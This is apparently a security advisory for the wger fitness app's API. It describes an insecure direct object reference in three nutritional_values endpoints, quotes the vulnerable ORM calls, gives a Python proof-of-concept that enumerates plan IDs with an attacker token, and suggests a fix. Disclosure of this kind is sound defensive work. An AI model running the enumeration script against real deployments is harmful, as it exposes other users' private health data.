GHSA-g8gc-6c4h-jg86

## Summary

Three `nutritional_values` action endpoints fetch objects via `Model.objects.get(pk=pk)` — a raw ORM call that bypasses the user-scoped queryset. Any authenticated user can read another user's private nutrition plan data, including caloric intake and full macro breakdown, by supplying an arbitrary PK.

### Details

DRF detail actions do not automatically apply queryset filtering — the action must call `self.get_object()` to enforce object-level permissions. These three endpoints skip that and go directly to the ORM:

`wger/nutrition/api/views.py`:

```python # line 301 — NutritionPlanViewSet plan = NutritionPlan.objects.get(pk=pk) # VULNERABLE — no user check

# line 356 — MealViewSet meal = Meal.objects.get(pk=pk) # VULNERABLE

# line 403 — MealItemViewSet meal_item = MealItem.objects.get(pk=pk) # VULNERABLE ```

The correct pattern used in the same file at `LogItemViewSet` (line 438):

```python LogItem.objects.get(pk=pk, plan__user=self.request.user) # CORRECT ```

Affected endpoints: ``` GET /api/v2/nutritionplan/{pk}/nutritional_values/ GET /api/v2/meal/{pk}/nutritional_values/ GET /api/v2/mealitem/{pk}/nutritional_values/ ```

### PoC

```python import requests

BASE = "http://localhost" # Attacker's token (any registered user) headers = {"Authorization": "Token ATTACKER_TOKEN"}

# Read victim's nutrition plan — enumerate pk starting from 1 for pk in range(1, 100): r = requests.get( f"{BASE}/api/v2/nutritionplan/{pk}/nutritional_values/", headers=headers ) if r.status_code == 200: data = r.json() print(f"Plan {pk}: {data}") # Returns: energy (kcal), protein, carbohydrates, carbohydrates_sugar, # fat, fat_saturated, fiber, sodium ```

No interaction from the victim required. Registration is open by default. PKs are sequential integers.

### Impact

Any authenticated user can read other users' private dietary and health data: - Daily caloric intake - Protein, carbohydrate, fat, fiber, and sodium intake - Full meal composition and ingredient quantities

This data is sensitive health information users expect to be private.

**Fix**: Replace direct ORM calls with `self.get_object()`, which applies the viewset's user-scoped queryset and object-level permissions automatically. Or add an explicit user filter: `NutritionPlan.objects.get(pk=pk, user=self.request.user)`.